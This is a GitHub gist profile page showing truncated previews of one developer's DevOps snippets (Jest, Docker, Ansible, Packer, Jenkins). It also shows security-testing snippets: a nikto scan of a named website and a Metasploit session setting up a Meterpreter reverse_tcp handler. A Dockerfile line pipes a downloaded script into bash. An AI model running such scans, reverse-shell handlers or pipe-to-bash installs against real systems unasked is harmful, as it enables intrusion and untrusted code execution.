Skip to content

Instantly share code, notes, and snippets.

View hypery2k's full-sized avatar
🎯
Focusing

Martin Reinhardt hypery2k

🎯
Focusing
View GitHub Profile
@hypery2k
hypery2k / jest-setup.ts
Created January 21, 2020 07:49
Jest Web Components Setup
import 'jest-preset-angular';
import 'mutationobserver-shim';
// Mock environment
var mockedRegistry = new Map();
var win = <any>window;
win.alert = () => {};
win.customElements = {
define: (elementName, elementClass) => {},
get: tagName => mockedRegistry.get(tagName)
@hypery2k
hypery2k / Dockerfile
Created July 22, 2019 13:31
Podman & OpenShift
FROM centos/s2i-base-centos7:latest
ENV DESCRIPTION="Podman image runtime for releasing"
ENV TZ="Europe/Berlin"
ENV HOME=/podman
LABEL summary="$SUMMARY" \
description="$DESCRIPTION" \
version="$GIT_TAG" \
build-user="$LAST_BUILD_USER" \
@hypery2k
hypery2k / ansible playbook.yml
Created March 18, 2019 15:06
Ansible Playbook
---
- name: Prepare | Setup Ansible runtime
hosts: all
gather_facts: no
tasks:
- name: Boostrap python
raw: test -e /usr/bin/python || (apt-get -y update && apt-get install -y python-minimal)
- name: Provision
@hypery2k
hypery2k / Packer build.json
Created March 18, 2019 15:04
Packer build
{
"builders": [{
"type": "docker",
"image": "jenkinsci/ssh-slave:latest",
"commit": true,
"changes": [
"VOLUME /data",
"WORKDIR /data",
"EXPOSE 6379",
"ENTRYPOINT [\"docker-entrypoint.sh\"]",
@hypery2k
hypery2k / docker run chain
Last active March 18, 2019 14:52
Docker & Packer
# Install PanDoc
RUN yum -y install epel-release && yum -y install pandoc
# chrome and xvfb
RUN cd /tmp/setup && curl https://intoli.com/install-google-chrome.sh | bash && yum install -y xorg-x11-server-Xvfb
# Install oc and jq
RUN yum -y install epel-release && yum -y install jq
@hypery2k
hypery2k / JenkinsAgentCleaner.groovy
Last active November 29, 2018 07:31 — forked from sirrapa/JenkinsAgentCleaner.groovy
Groovy script for cleaning up ghost workspaces left on slaves after a job has been deleted. Must be run strictly on the master instance.
import hudson.FilePath;
// Initialize dryRun parameter to TRUE if not given as script parameter
dryRun = true;
if( dryRun == true ) {
println "** Execute a dryRun - no files will ever be deleted **";
}
// shortcut to Jenkins instance
=== npm audit security report ===
# Run npm update webpack-dev-server --depth 2 to resolve 1 vulnerability
High Missing Origin Validation
Package webpack-dev-server
Dependency of @angular-devkit/build-angular [dev]
root@57d2d48dd2f5:/# nikto -host www.holisticon.de -C all
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 85.214.158.97
+ Target Hostname: www.holisticon.de
+ Target Port: 80
+ Start Time: 2018-05-23 05:36:45 (GMT0)
---------------------------------------------------------------------------
+ Server: nginx
+ The anti-clickjacking X-Frame-Options header is not present.
meterpreter > help
...
Stdapi: System Commands
=======================
Command Description
------- -----------
execute Execute a command
kill Terminate a process
pgrep Filter processes by name
> msfconsole
=[ metasploit v4.16.58-dev ]
+ -- --=[ 1769 exploits - 1007 auxiliary - 307 post ]
+ -- --=[ 537 payloads - 41 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > use multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp